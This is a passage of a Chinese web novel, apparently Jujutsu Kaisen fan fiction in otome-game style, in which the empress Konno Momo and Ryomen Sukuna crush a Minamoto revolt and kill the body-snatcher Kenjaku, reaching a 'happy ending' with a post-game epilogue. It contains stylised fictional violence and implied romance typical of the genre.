她甚至希望等她死了,把她的尸体烧掉,骨灰也撒到海里。毕竟这个世界存在咒力,万一她变成了别人手中的咒具怎么办? 官员的额头开始冒汗了:“陛下,这于礼不合……” 今野桃啧了一声,作出了决定:“行,葬礼照常举行,但观礼的人要送帛金。” 所谓帛金,就是参加葬礼时送的钱。官员震惊地看向天皇,结结巴巴地说不清话。 竟然还收钱?陛下未免也太、太抠门了吧?!她平日里不是很大方的吗?! “行了,传旨下去吧,送了帛金的人就能来参加前任天皇的葬礼,不送的人不能参加。我倒要看看,这些人对皇室到底还有几分敬意。”今野桃胡说八道的话却让后来听到的贵族们瑟瑟发抖,“对了,让他们把礼单都放门口,进来一个念一个。” 官员倒吸了一口气。 这不是在逼大家出钱吗?合着别人办葬礼都是花钱,您办葬礼是赚钱啊! 捧着天皇陛下的圣旨,官员们恍恍惚惚地离去了。 两面宿傩安静良久,开口道:“你真是……连死人的钱都能赚到。” “要夸我厉害吗?”今野桃得意地说道,“不用羡慕,这就是天赋。” 两面宿傩无奈地瞥了她一眼,说道:“你就真的没有想过自己死了之后的事情吗?” “想什么。”今野桃确实无所谓,“人死如灯灭。我打算等我快死的时候就直接跳海,求人不如求己。” 求人不如求己是这样用的吗? “你不害怕死亡?”两面宿傩这么问道。 今野桃愣了一下,神色变淡。她沉吟道:“死亡固然可怕,但有很多事情比死亡更加可怕。若要我窝窝囊囊地度过一生,那我还不如去死。” 两面宿傩深深地凝视着她,轻声道:“原来如此。”。 前任天皇的葬礼竟然举办得还算盛大,今野桃懒得多事,全都交给了下面的官员处理。 当然,收上来的帛金并前任天皇的遗产,一同进了她的私库。 行宫进度再+1。 整个平安京数得上名号的家族都出席了葬礼,他们的哭声和面上的伤心也不知道有几分是真实的。 今野桃站在偏僻的角落,漠然看着这些人演戏。 真是无趣。这个哭得太假,那个在努力挤眼泪。然后聊天时,又不见伤心了。他们好像有很多面具,随时准备在不同场合更换。 看了一会儿,她打算离开。 这时,有人朝她这边走来。是一个二十岁左右的青年,他长相俊秀,穿着黑色的和服,头发上、额上缠着白色的布条。明明应该是讨人喜欢的样子,但不知为何,今野桃却看着很不顺眼。 不过他一开口自报家门,她就知道为什么了。 “加茂羂索?”原来姓加茂,难怪这么讨厌。之前那个杀了她的家伙,就是姓加茂吧,毕竟会操纵血液。可惜他没有反派都喜欢的答疑情节,否则玩家早就把他抓住了。 “陛下。”加茂羂索敏锐地察觉到了天皇陛下的冷淡,他微不可察地扫过天皇那张年轻漂亮的脸蛋,她如今也才二十不到,正是青春年华。 看样子,她现在是不会接受他的理念的了。 种种想法在心间闪过,加茂羂索恭敬地说道:“陛下可觉得生命脆弱?” “嗯……”今野桃想看看他打算做什么,顺着他的话应道,“确实脆弱。” 加茂羂索轻轻摇晃手中的扇子,端的是一副悲天悯人的样子,很有欺骗性。 “陛下可曾听过……换血之法?” 他讲了一个像是什么志怪传闻的故事,说是把人体内的血液全部换一遍后,可以延长寿命。 今野桃就这么抱着手臂听他胡编乱造,表情似信非信,心里无语又想笑。 “听起来很不可靠。”她直白地说道 。但凡接受过一点教育的人都知道,这根本就是不可能的。先不说血液排斥的问题,换血并没有能延缓衰老的作用啊。 加茂羂索赞同地回道:“确实,要把血液全部换一遍,很像是无稽之谈。不过,也不是全然没有可能。” 他故作神秘地介绍自己:“加茂一族所擅长的秘术,就是操控血液,名为‘赤血操术’。” “所以呢?你想做什么?” 果然,年轻时候的皇帝是不会想要长生不老的。只有死亡的绳索勒住了脖子,掌权者才会仓皇地寻求活下去的方法。 加茂羂索没有冒进,而是顺从地低下头,说道:“只是希望得到一个为陛下效忠的机会。” “免了,我没兴趣。”今野桃拒绝了他,“滚。” “是。”加茂羂索麻溜地滚了。 这位陛下说杀人是真的手起刀落,不带一丝犹豫。 回到寝殿,今野桃的表情还是不太好看,被两面宿傩察觉到了。 他以为她是因为观看了葬礼而感到不适。即便身为天皇,哪怕生前享受再多的荣华富贵,死后也不过黄土一抔。 在安慰与不安慰之间,他犹豫地选择了前者。 “你要给你的父亲守孝吗?”他问道。 今野桃呆了几秒才反应过来他口中的父亲指的是前任天皇,她现实中的人渣父亲还好好地活着呢。 “守孝?不守。”没放鞭炮算她还有最后一点良心。 今野桃的回答完全在他的意料之中。她显然同前任天皇毫无感情。 两面宿傩起身,慢步靠近,坐在了她的身边。他庞大的身躯挡住了最后一点夕阳,让影子笼罩在她的身上。 “让开,天还没黑呢。”今野桃不客气地推了推他的手臂,没怎么用力,所以并未推动。 两面宿傩灵巧地握住了她的手腕。他的四只眼睛都睁开了,宽大的袖子因为抬手而往下滑落,露出了另一只手臂上鼓起的肌肉。 他像极了逢魔时刻才会出现的妖魔,以人心为食。 那么,吃多了人心,妖魔便也会生出一颗人心吗?还是已经长出了原本不该有的心,妖魔却还不自知呢? 两面宿傩弓起背脊,一点一点拉进了两人的距离。 “做吗?”他言简意赅。 今野桃顿住,沉默许久。 “做。”她斩钉截铁。 【两面宿傩好感值:85】 第28章 两面宿傩睁开眼的时候,外面一片寂静。天皇陛下的寝殿周围经过了侍从的反复多次清扫,一点虫鸣和鸟叫都听不见。 重重叠叠的纱帘将室内外分割开来,如果不撩起,一丝阳光也不会照到屋内。 没办法,谁让天皇陛下喜欢睡懒觉呢。 两面宿傩也不想起床,但他饿了。 剧烈运动消耗了太多体力,如果昨天晚上不是迷迷糊糊地累得睡着了,他那个时候就要到处觅食。 伸了一下懒腰,关节发出噼里啪啦的声音,体力被耗空后又好好休息了的舒爽让他长长地呼出了一口气。本来微弱的声音在过分安静的室内显得有些刺耳,两面宿傩一惊,望向还在沉睡的天皇。她双眼紧闭,一点没被打扰。 也对,她只会被杀意惊醒。 而现在的他,已经很难再对她提起一丝恶意了。 欣赏着她的睡颜,两面宿傩的手有些蠢蠢欲动。他屏住呼吸,慢慢地俯身。舌尖试探性地在门口敲了敲,见主人没有回应,便不请自来地挤了进去。 这是一个极为克制的吻,克制得不像那个性格暴虐的诅咒之王了。 ——大概是怕把人吵醒后挨揍吧。 然而吻着吻着,他到底还是失控了。 脆弱的黏膜被尖利的牙齿咬破,淡淡的血腥味成为了最好的催化剂。腹中的饥饿让他一时分不清楚,他到底想吃什么。 他恨不得将柔软的舌头吞吃入肚,但喉头滚动几次,最后还是只能怏怏地缠绕着它,将它拖到自己的领地之中,反复吮吸,来缓解这股馋意。 有四只手就是好,一只能托着她的后脑勺,一只能抬起她的腿。还有两只可以拎起她的腰,把她紧紧按在自己的腹部。 单薄的布料很快被濡湿,身体的变化让女人在梦中也皱起了眉,她的两颊泛着胭脂色,呼吸变得急促。 睡意拉扯着她,让她睁不开眼。她伸出手,掐住两面宿傩的脖子,把他从自己身上撕下来,然后一巴掌甩了过去。 两面宿傩被打得侧过头,淡淡的绯红浮了起来。 没有吐血,说明她没有用力。所以被扇中的时候,感觉到的不是疼痛,而是过电一样的爽,掌风掠过,连空气里都带着香味。 两面宿傩用舌尖顶了顶脸颊里侧被打中的地方。 继续下去,可能真的要挨打了。 吃饭要紧。 两面宿傩用力掐了一下自己,强行冷静后,悄无声息地从帘子的缝隙间滑了出去。除了带起的一阵风,没有任何动静。仔细上过润滑油的连接处能被轻松推动,两面宿傩将门拉开了一道足以通过的距离后就关上了。 外面果然已经天光大亮。他打了个哈欠,朝着膳房走去。 偶有路过的侍从,俱是低头目不斜视,口中恭敬称呼“宿傩大人”。 两面宿傩看心情回应。 膳房里,里梅正在研究厨艺。看见两面宿傩,他立刻迎了上来。 “宿傩大人,要吃什么吗?” 两面宿傩扫了一眼,有太多种香味飘进鼻子里,让他难以分清。于是他直接问道:“有什么现在就能吃的?” 里梅为难道:“有很多,宿傩大人是想喝粥还是吃饭团?灶上还蒸着馒头,面条随时可以下。如果想吃肉的话,有羊肉蒸饼,卤牛肉。” 里梅一项一项数过去,听得人犯了选择困难症。 两面宿傩不会故意为难手下,只是曾经他和里梅一起生活的时候,里梅纵然厨艺再高,也受限于条件不足,当两面宿傩临时饿了想吃东西,能拿出来的就那么寥寥几种,比如饭团,比如生鱼片。 “那就吃点蒸饼吧,再切些卤牛肉。” “是,宿傩大人稍等。”里梅将他引到桌前坐下,然后飞快地挥动小刀。他的动作麻利,轻车熟路的样子一看就对膳房非常了解。 当他端着托盘走来的时候,两面宿傩突然问道:“里梅,在这里你会觉得无聊吗?” 从前过着那样刺激的日子,而现在的每一天都好像是重复的。 里梅疑惑地看着两面宿傩,随即摇摇头说道:“我永远追随宿傩大人,宿傩大人去哪里,我就去哪里。” “哼。”两面宿傩哼笑一声,“那之前我带你离开的时候,你为何作出恋恋不舍的样子。” 不舍? 里梅迷茫地想,他表现得很不舍吗?嘴唇嗫嚅着,里梅小声说道:“因为觉得宿傩大人能在这里得到安宁与幸福,所以想和宿傩大人一起留下。” 安宁与幸福……两面宿傩的神色有些恶寒,像是一块油腻的肥肉堵在了喉咙,吐不出来又咽不下去的样子。 他从来没有想过安宁和幸福能和自己联系在一起。然而命运就是这么无常,世人拼命追寻的东西最后竟然落入了他的手中。 里梅放下托盘,小心地觑了一眼两面宿傩,被他古怪的笑意给吓跑了。 等到两面宿傩吃饱喝足,膳房的食材也没消耗多少。用完的食物很快就会被补齐,其中许多都只是备着以防不时之需,尽管天皇陛下也许只会偶尔想起一两次。 他打包了一份羊肉蒸饼,揣进怀里。 回到寝殿,天皇陛下还没有醒。两面宿傩离开后,床上空出了一大片,正适合她滚来滚去。 被子盖住了她的脑袋,几缕发丝伸出来,像是黑色的蛛网。 两面宿傩将它缠在了指尖,细细揉搓。 几分钟后,被子蠕动了一下,今野桃一脸呆滞地爬了起来。她显然还没有彻底清醒,神思还在漫游中。 两面宿傩嘲笑了一声,撕下一小块蒸饼,夹着羊肉塞进了她的口中。 有的人心飞了,嘴巴没飞,还会自动咀嚼,可怕得很。 就这么不断投喂,一个蒸饼快 吃完的时候,今野桃终于回过神了。 嚼嚼嚼——“还挺好吃的啊,你吃过了吗?” 两面宿傩嗯了一句,把最后一点蒸饼塞进她嘴里。 摇响了铃铛,侍从们鱼贯而入,开始为整理卧室、天皇陛下打理仪容。 她们对乱七八糟的床褥一脸平静,将被撕扯得破破烂烂的衣服捡起,有的手上端着水盆,有的拿着毛巾。今野桃连手都不用抬,整个人很快就变得清爽起来。 阳光照在身上暖融融的,这样晴朗的日子,适合出去玩。行宫已经建好了,随时欢迎主人的来临。 可惜,今野桃不得不再次推迟了计划,因为源氏反了。 源氏家族在关东地区盘踞多年,为了拉拢他们,天皇曾下嫁公主。仔细算来,他们也算是有着皇室血脉。 随着今野桃启用平氏、打压源氏,源氏家族坐不住了。他们决定拱卫一位亲王,以“前任天皇死于非命,要为他报仇”的名义,在关东建立了新的政权,一时间竟然也有不少人响应。 朝臣们争论不休,为到底如何处置源氏而吵个不停。有说派使臣过去申饬源氏和那个亲王的,有说派兵直接开战的,也有说双方坐下来好好谈谈的…… 今野桃耳朵都要被吵聋掉了,在一片混乱中,她拍桌而起。 “都别争了。”她大声宣布,“我要御驾亲征!” 御驾亲征?! 臣子们的第一反应都是不行。 “陛下,战场上刀剑无眼,怎么能让您亲自去呢?” “是啊,那区区源氏,何须陛下您亲征。” 虽然天皇陛下确实有几分武力,但战场形势千变万化,如何能确保自己一定能胜利呢? 他们忧心忡忡地想着。 今野桃一概不管,她只是做出了决定:“点五百个人,跟着我一起御驾亲征。” 这五百个人不需要跟她一起在前线厮杀,只要管好后勤就行。她是去打仗的,不是去吃苦的。 如果让其他人知道她的想法,一定会觉得可笑。都打仗了,怎么可能不吃苦呢? 然而事实就是如此。 甚至她自己也没怎么动手。真正动手的,是两面宿傩。 “领域展开。”两面宿傩左手握着“飞天”,右手拿着“神武解”,还有两只手正好用来结印,“伏魔御厨子!” 他是一台战场上的绞肉机,所到之处血肉横飞。 红色的眼眸里像是燃烧着两簇熊熊烈火,五官因为兴奋而扭曲,咧开的嘴角几乎到了耳根处,看着就极为瘆人。不知是谁的血液飞溅到了他的脸上,被他随手擦去,留下几道红痕。 没错,就是这样、就是这样啊!恐惧的哀嚎、害怕的目光,还有脆弱得不堪一击的敌人! 今野桃坐在铺着柔软坐垫的椅子上,享受着可口的点心,被众人簇拥着。旁边的人已经开始两股打颤,她却笑了起来。 “陛、陛下……”有人抖着声音说道,“这两面宿傩……实在是可怕,如何能让他侍奉在陛下身边呢?” 今野桃弯着眼睛喝下甜润的茶水,感慨道:“不能一直把狗狗关在家啊,得放他出去活动活动。没关系,随他去吧,他就是憋得狠了。” 真、真的吗?他真的不会杀性大发,然后把他们也杀掉对吧? 从尸山血海中走出来,两面宿傩身上的衣服已经看不出原本的颜色了。他半眯着眼睛,仿佛在聆听亡魂的凄厉惨叫。 一代豪族彻底消亡,成为了茶余饭后的几句闲谈。 “结束了。”今野桃做了最后的总结,“该把源氏搬到平安京了。” 尤其是源氏的仓库,里面一定有好东西吧。 她朝两面宿傩招了招手,又在他靠近的时候捏住了鼻子。 “杀爽了吗?” “爽了。” “去洗澡,然后我们去行宫度假。” “哦。” 【两面宿傩好感值:90】。 今野桃一直试图找到那个隐藏在幕后的男人,但奇怪的是,怎么都找不到。虽然他没有承认,但从最后那刻他露出的表情推测,他应该和两面宿傩是认识的。 但两面宿傩也是个懒性子,对交朋友并无兴趣,身边没有出现过什么可疑的人物。 算了,直接问吧。 “奇奇怪怪的人?”两面宿傩想了想,竟然还真的有,“一个叫做‘万’的女人,你听过吗?” 万?没听过。 今野桃挑眉,难道是他的桃花? “为什么说她奇怪?” “啊,因为她开口就说要让我知道什么是爱。”两面宿傩皱着眉说道,“声称对我一见钟情。” 什么?竟然有人对两面宿傩一见钟情?! 今野桃顿时瞪大了眼睛。 是哪位勇士啊?! “然后呢然后呢?”她迫不及待地追问。 两面宿傩耸耸肩膀:“然后我跟她打了一架,她跑了。” 能从两面宿傩的手中逃走,这位“万”小姐也是很强了。这或许也跟两面宿傩手下留情了有关系吧,自从离家出走又回来后,他的脾气变好了许多。 换做以前,万必死无疑。 “除了万,还有吗?”今野桃追问。 两面宿傩放下手里关于某个家族秘术的典籍,抬头看她。 他还以为她是知道了万的事情后吃醋,所以才来诘问他。现在看来,另有隐情? “你要找谁?一个故意接近我的人?” “唔……不好说是不是故意的,但你应该认识。”今野桃苦恼地说道,“这个人的术式不强,应该是个男人,啊……说不定也有可能是女人,如果他的术式是附身、转世之类的话。” 说到后面,今野桃自己都不确定了。 两面宿傩没放在心上,随口应道:“知道了,我会留意的。” 竟然不是吃醋,真遗憾。 两面宿傩仗着自己手长,在今野桃路过身边的时候,一把拽住了她的袖子,猛一用力,把人卷进了怀里。 “我提到万的时候,你都不生气吗?”他低头,气息吞吐在她的耳边。 今野桃象征性地挣了挣,没挣开,就随他去了。 “我为什么要生气。”她斜晲着他,目光清凌凌的,仿佛洞察了一切。 两面宿傩一噎,说道:“我以为你会生气。” 今野桃上下打量着他,忽地笑了起来。 爱让人变得非凡,也变得平庸。问出这句话的两面宿傩少了身上的非人感,多了几分世俗的平凡。 “我只会因为你背叛我、忤逆我而生气。”今野桃好整以暇地开口道,“那么,你背叛我了吗?” 两面宿傩移开了视线。 怎么算背叛呢?背着她把那些劝陛下多纳新人的奏报都绞碎了扔湖里算吗?杀了几个上蹿下跳最厉害、背地里还骂他的大臣算吗? 还有,她说累了不想要了、他偷偷用反转术式给她补充体力算忤逆吗? 这不说清楚,谁知道你指的是什么。 反正不揭穿的话,他什么都不会承认的。 “不过你就算背叛我我也不会生气啦。”今野桃愉快地说道,“我只会把你杀掉,然后把你的骨灰烧成骰子,然后没事干就扔着玩。” 两面宿傩愣了几秒,随后若有所思:“那说不定会是一件很强的咒具。” 这回轮到今野桃无语了。 怎么感觉他对于自己被制作成道具并不抵触的样子,这是一件很严肃的事情啊! “这件咒具可以叫做‘鬼点子’。”两面宿傩已经开始畅想起来了。 今野桃眼睛一眯,巴掌就伸了出来,打算让两面宿傩清醒一下。 他的动作很快,一把抓住了她的手腕。他揉按着那块凸起来的骨头,慢慢地将她的手掌按在了自己的脸颊上。 然后,有什么湿漉漉的触感从她的掌心滑过。刹那间,今野桃感觉到自己的鸡皮疙瘩都起来了。 “你做什么啊?!”她猛地 往回缩了缩手,用力给了他一拳,“正常点,别发癫!” “行。”两面宿傩爽快应下,在今野桃还要嘀嘀咕咕的时候,咬住了她的嘴唇。 今野桃气愤地拽了拽他的头发,粉色的长发垂落在她的脸上,带来痒痒的感觉。 朦胧间,透过这片粉色,她好像看见了春天…… 尽管被称为诅咒之王,有着怪异的外貌,但实际上两面宿傩还是个人类。他的寿命是有尽头的,也有衰弱的那天。 梳头的时候,梳子上缠绕的发丝越来越多;吃饭的时候,饭量越来越小。这些都暗示他,他的巅峰期要过去了。 出乎意料的是,他的内心对此并没有太过惶恐。 若他还在野外独自求生,那他会焦虑、会害怕。但他在皇宫之中,在这片大地上最安全的地方。 他只是忽然意识到,他和天皇陛下并不能永远在一起,死亡会将他们永远分开。 他不愿意。他舍不得。 加茂羂索就是这个时候出现在他面前的。 “想在未来也和天皇陛下在一起吗?”他温和的笑容带着十足的蛊惑,“或许我可以帮你。” 两面宿傩眸光闪动,开口道:“怎么帮我?” “我曾与陛下谈论过关于更换血液能否让人长生的话题,但陛下认为这是无稽之谈。后来我确实实验失败了,陛下当真是有着超乎常人的智慧。”加茂羂索喟叹道。 两面宿傩带着“这还用说”的表情颔首。 加茂羂索心中撇嘴,面上仍旧不动声色地继续说道:“但是我的另一个实验成功了。宿傩君,你听说过‘咒物’和‘受肉’吗?” 两面宿傩听过,但没有深入了解。 加茂羂索侃侃道来:“所谓‘咒物’,就是附有诅咒力量的残骸和物品。而‘受肉’,就是将咒物放入容器,容器就会被寄宿在咒物之中的诅咒占据。” 两面宿傩垂眼,在脑海中过了一遍他的话,随后明白了:“你想把我做成咒物?” “是的,我可以确保你与天皇陛下一定能够复活。”加茂羂索自信地说道,“这个实验我已经做过很多次,每一次都成功了。” 两面宿傩的目光像是火炬,缓缓地审视过加茂羂索,仿佛要将他的所有秘密看穿。加茂羂索的后背生出一层冷汗,笑容也变得勉强了。 “如何……?” 两面宿傩抱着手臂,回道:“我想想看。” 加茂羂索也没指望一次就得到回复,闻言点头说道:“好,那我静候佳音。” 然后两面宿傩转头就把加茂羂索卖了。 “我认为他就是那个奇奇怪怪的人。”他笃定地说道,“他跟我说,能让我和你复活,这让我想到你提起过的‘附身’‘转世’一说。” “原来如此。”今野桃宁可错杀,不能放过。但在此之前,她还是要确定一下,加茂羂索到底是不是那个人,否则报仇报错人,爽感少五分。 读档,回到氪金前的那个周目。 男人的眼角眉梢都是得意和轻蔑,他冷声说道:“我可没有为你答疑的义务,我是来送你上路的。” 他高高在上,她落在泥里。电光石火间,今野桃喊出了他的名字。 “羂索!”她厉声骂道,“你这个狗东西,是羂索对不对?!” 她故意省去了他的姓氏,只是喊出了他的名字。假如他是保存着记忆转世的话,或许只有名字是真实的。 果不其然,男人头一回露出了紧张而震惊的表情。 属性面板也跟着更新了。 【羂索好感值:-50】 混蛋!果然是这家伙!!而且她没猜错,加茂也不是他的本姓! “你是谁?!”羂索一把揪住了她的头发,想把她从地上拖起来。 他小心翼翼地躲藏了千年,谁知竟会在这种时候被叫破名字!她是谁?她到底还知道多少? 看着羂索扭曲的模样,今野桃咧嘴笑了。 喜欢躲藏于阴影之中的虫豸最害怕的就是被曝光在太阳底下。它们借助黑暗张牙舞爪,其实不堪一击。 “我可没有为你答疑的义务,”她用力地朝他的脸上啐了一口,“等着我来找你索命吧!” 退出,重新读档。 今野桃撸起袖子,面无表情地看向两面宿傩。对方悚然一惊,情不自禁地抓了抓后脑勺。 嗯……他最近应该没惹她吧? “走,我们去找这位‘加茂羂索’,好、好、聊、聊。” 你确定是聊聊?怎么感觉是要去杀人了? 两面宿傩咂了一下嘴,无所谓地点头道:“好啊。” 反正挨打的不是他就行了。 第29章 今野桃带着两面宿傩没有经过任何通传就来到了加茂家,此时的加茂一族还是平安京的一个二三流小家族,完全排不上名号。 天皇降临,让他们又兴奋又恐慌。 “不知陛下有何吩咐?”加茂家主点头哈腰,恨不得跪下来抱着天皇的大腿。 “加茂羂索呢?”今野桃微微一笑,说道,“让他来见我。” “是、是……” 加茂家主连声应道,将族中原本并不起眼的青年喊来。天皇陛下的态度给了他们错误的理解,以至于加茂羂索来的时候,还带着一丝期待。 莫非天皇认可了他的想法? “陛下……”加茂羂索端着矜持的模样拜见了天皇。 今野桃仔仔细细地打量了他,没有找到和千年后的羂索相似的地方。如果是灵魂转世,难道不会影响外表吗?她看那么多文学作品里,转世之后的人和前生都有着一模一样的相貌。 “来说说看吧,羂索。”今野桃慢条斯理地喊着他的名字,让羂索突然紧张起来,“说说看你的实验和计划。” 天皇已经到家里来了,箭在弦上不得不发,羂索只能详细地把他的实验说了一遍。 “……只有拥有极其强大咒力的咒术师才能制成千年不坏的咒物,而咒术师的灵魂就能保存在咒物之中,等到找到合适的容器受肉,咒术师就能在容器的身上复活。” 羂索认为自己的想法毫无问题,他不信两面宿傩和天皇不心动。 享受了一辈子的荣华富贵,他们怎么甘心死去呢?越是有钱的人,就越是贪婪。由俭入奢易,由奢入俭难,不过如此罢了。 今野桃若有所思,随后恍然大悟,说出了一句让羂索恨不得立刻掉头就跑的话。 “所以,你就是用这种办法长生不死的吗?”今野桃解开了帮助她减少六眼副作用的道具,它同时也压制六眼的能力。 一瞬间,整个世界都发生了改变。无数的消息涌入她的大脑,她不得不运转起反转术式,才能让过载的cpu冷却一点。她清楚地看见房间里包括她在内的三个人身上翻涌着不同浓度的蓝色咒力,她是浩瀚无边的大海,两面宿傩是奔涌不息的江河,而加茂羂索……他很奇怪,他像套娃。 一层套着一层,明面上只能看见一种咒力,但还有一股隐晦的咒力被包裹在其中。 没错了,羂索不是依靠转世来获得长生,而是夺取他人的身体。 今野桃不相信天上会掉馅饼,一切礼物早已在暗中标好价格。羂索来找他们,一定有自己的阴谋。 “宿傩!” 今野桃目光一凝,两面宿傩的的斩击[捌]就顺着她的视线捅穿了加茂羂索的心脏。他瞪大了眼睛,噗通一声倒在了地上。 “怎么,要把他的心脏挖出来吗?”两面宿傩故意调侃道,“陛下也想尝尝人心的滋味?” 今野桃皱了皱鼻子:“恶心。” 她挖他的心,不过是因为志怪小说中,心脏是最重要的部位,也是能量凝聚的地方。 一般被挖了心之后, 妖魔鬼怪就会实力大减、暴露真身。 现在看来,羂索的弱点不是心脏。那会是哪里呢?除了心脏之外…… 加茂羂索呕出了一大口血,还在垂死挣扎地说道:“陛下,您难道就不想见识一下千年后的世界吗?” “没兴趣。”今野桃已经开始观察起他的头颅了,不是心脏的话,难道是脑袋? 死亡在逐步逼近,羂索不得不将所有可能让自己活下去的情报吐露出来。 “陛下,我得到过预言,千年之后咒术衰弱,普通人将会越来越多!以您的实力,必定可以再度创造出一个新的帝国!统治整个世界!” “然后呢?再让你占据我的身体,霸占我的帝国?”今野桃好像猜到他想要什么了。 “怎么会呢?!”加茂羂索疯狂否认,“我只是希望咒术师都能变得强大,希望所有人都能拥有咒力!” 今野桃故作惊讶:“哇,那你岂不是天大的好人?” 说着,她忍不住发出了讥讽的笑声。 今野桃朝着羂索走去,坚实的鞋底用力地踩在了他的手背上,然后狠狠地碾了下去。 加茂羂索可没有痛觉屏蔽,他的五官因剧痛而挤在了一起。由于失血过多,他的脸色已经比纸还要白了。 今野桃没有虐杀的习惯,但她喜欢以牙还牙。 她弯腰一把扯下羂索额头上的布条,发现了一条缝合线。在六眼的洞察下,她终于看到了那一股隐藏的咒力就躲在缝合线的伤口之下! 今野桃谨慎地存了个档。 “把‘飞天’给我。”她扭头对两面宿傩说道。 两面宿傩从腰后取下咒具,递给了她。 “怎么自己动手了,不需要我来吗?”他可是知道她有多懒的,羂索做了什么,让她不惜亲自解剖他? “不用。”今野桃拒绝了,“我今天非要把他的皮扒下来不可。” 掂了掂咒具,将锋利的戟尖对准了羂索的脑袋,今野桃猛地抬手,狠厉地刺了下去! 加茂羂索发出了凄惨的嚎叫,比挖心的时候痛苦多了,也真实多了。 果然,他的命门在这里啊。 顺着缝合线,她划开了他的脑子。 今野桃以前从未这样做过,但在她的想象中,脑子被切开后,应该是红的白的混在一起,让人反胃。而不是现在这样……里面住着一个巨大的、长着牙齿的……脑仁。 她的表情也跟着扭曲了。 呕……好恶心…… 脑仁被三叉戟捅了个对穿,却还在“坚强”地“张嘴”说话。 “陛下!您真的不想在千年以后继续享受荣华富贵吗?区区几十年,不过转瞬即逝啊!” 今野桃冷笑一声:“我不吃画的饼。” 说完,她用力搅动着戟尖,将羂索搅了个稀巴烂。 一口恶气从胸口吐了出去,今野桃变得平和了。 “你不会信了他的鬼话吧?”她斜眼瞟着两面宿傩,“你如果信了,千年以后你也要被卖保健品。” 虽然不懂什么是“保健品”,但两面宿傩知道她在嘲笑他。 “啊,我这不是没信吗。”他目光飘忽地说道。 是吗,她不信。 她觉得两面宿傩很有可能会因为在这个时代打不过她而选择苟到千年以后,那时她早就死了,以两面宿傩的实力,应该足以称王称霸。 啧,也不一定。 “我之前在藤原氏的秘本上看到,‘六眼’大概五百年会出现一次。一千年后,应该又会诞生一位‘六眼’。”她勾起嘴角,“你有信心打过这位‘六眼’吗?” 两面宿傩沉默了。 如果“六眼”都像她这样厉害,那他…… “不会有人一千年前就是老二,到了一千年后还是老二吧?”今野桃用阴阳怪气的语调说道,“那这一千年的牢不是白坐了?” 被关在咒物里一千年,可不就是在坐牢吗。 两面宿傩痛苦地捂住了耳朵:“行了行了,别说了。” 其实他也没有很想到一千年后去。未来捉摸不定,不如先把握好现在。 只是…… “如果五百年会出现一次‘六眼’,那是不是说明,‘六眼’一直在轮回?”两面宿傩看着今野桃,喃喃道,“我只是有点好奇,你会不会转世到一千年以后。” 把他扔在地狱,独自奔向人间。 “啊,原来是寂寞了吗?”今野桃摸着下巴,弯了弯眼睛说道,“好啦,我允许你陪在我身边哦。” 怎么变成了一只怕被主人扔下的小狗呢?竟然还有点可爱。 “寂寞?”两面宿傩嗤道,“我怎么可能会寂寞。” 那种软弱的情绪,怎么可能出现在他的身上。他可是诅咒之王,是被所有人畏惧的天灾,他杀人如麻、性格暴戾,他怎么可能会寂寞。 如果没有她的存在,他一定会是当世的至强者。 但她诞生了,她成为了压制月亮的太阳,是这个世界唯一能胜过他的人。 他恨过她,恨不得她彻底消失。但如果她真的不存在,他又觉得,这一生似乎有点太索然无味了。 他真是犯贱。 “回去吗?”两面宿傩开口道,“我饿了。” “噫,看着这么作呕的场景你居然还饿了。”今野桃摇头叹息,“你好变态啊。” 两面宿傩:??? 这么恶心的场景是谁制造的啊?她真的是好笑。 “那就回去吧。”今野桃将羂索的尸体一脚踢开,打开屋门,血腥气飘出来,加茂家主打着哆嗦,惶恐地开口道:“陛下,这、这是……” “加茂羂索意图行刺,把他的尸体拖出去喂狗。”今野桃冷冷说道,“至于你的家族,本来要连坐的,但我心善,你们自己看着办。”是要家产还是要活命,自己选吧。 加茂家主咚地一声跪了下来,神情绝望。 他有的选吗?人都死了,家产又有什么用呢? 今野桃勾起残酷的笑容。 两面宿傩侧过头,专注地凝视着她。不知道从什么时候开始,今野桃成为了他眼中唯一的焦点。哪怕在发呆,他也不自觉地朝着她的方向。 千年时光太远,唯有珍惜当下。 他伸出手,握住了她的手掌。他将她的手掌全部包裹在掌心,五指合拢时,像是攥住了举世无双的珍宝。 【两面宿傩好感值:100】 【两面宿傩—爱难自禁(HE) ——我知她任性、骄矜,但我爱她。】 今野桃愣住了。 什么任性骄矜啊,说的是你自己吧!她明明那么温柔善良! 两面宿傩你该死! 第30章 可惜结局已定,那一巴掌终究没有挥到两面宿傩的脸上。 不过,很难说挨了一巴掌后,两面宿傩是生气还是高兴。 算了,放他一马。 今野桃撇撇嘴,正要打开存档界面,忽然一个提示框跳了出来。 【是否开启后日谈?】 后日谈?又是一个新功能吗?可恶的策划,真的是想尽办法骗氪啊! 打开说明书,今野桃找到了后日谈的介绍。所谓后日谈,就是在玩家打出HE结局后的延伸,能使得整个故事更加完整。这算是一个彩蛋,不需要额外付费,但内容是随机的。 它有可能是该条游戏路线未来可能发生的事情或某个分岔的剧情,也有可能会补全游戏人物的背景,甚至可能会切换游戏视角,出现攻略对象的独白……总之,算是不受玩家控制、但玩家可以沉浸式体验的番外。 行,不用氪金,算策划还有最后一点良心,就当做是福利吧。 想到即将到手的十万美金,今野桃心气顺了,感觉整个世界都变得美好了。 十万美金啊!足足一千五百万日元!而她只是氪了十万日元而已,还有比这回报率更高的投资吗! 她按下了确认键…… 当两面宿傩从尸山血海里爬出来的时候,他的大脑还是昏昏沉沉的。他低下头,看见自己稚嫩的手掌,忽然意识到,他重生了。 重生在年幼时候,重生在像一条野狗一样艰难求生的时候。 他还没有学会反转术式,没有学会领域展开。但战斗的经验还留存在灵魂之中,他不再像从前那样弱小得连一头狼都杀不死。 站在村子门口,他远远地看了一眼那些脆弱的孩子,还有毫无防备的 成年人。这是过去他最容易得到的食物。 然而,被天皇陛下“娇养”几十年,他的嘴巴变刁了。别说人肉,他连生食都吃不下了。 哼,真是令人烦躁。 两面宿傩撇撇嘴,转身朝着林子走去。对普通人来说是禁地的地方,对他来说不过尔尔。 拧断了两只兔子的脊椎,草草地剥了皮,点了一堆篝火,两面宿傩艰难地咽下了口中烤焦的肉块。 回到过去的第一天,想…… 两面宿傩味同嚼蜡地把肚子填饱,觉得自己还是杀人比较顺手。他轻车熟路地找到了一个接取那些见不得光任务的组织,成为了一个“赏金术士”。 偶尔的时候,他会想到天皇陛下。 现在的她,应该还只是一位寂寂无名的公主吧。真能苟啊,把自己藏得好深。当然,就算是不受宠爱,公主的生活也比他现在要好得多。 这一次,他一定会作好完全的准备,绝不会一见面就被她打倒!至少、至少也要让她见识一下自己真正的实力! 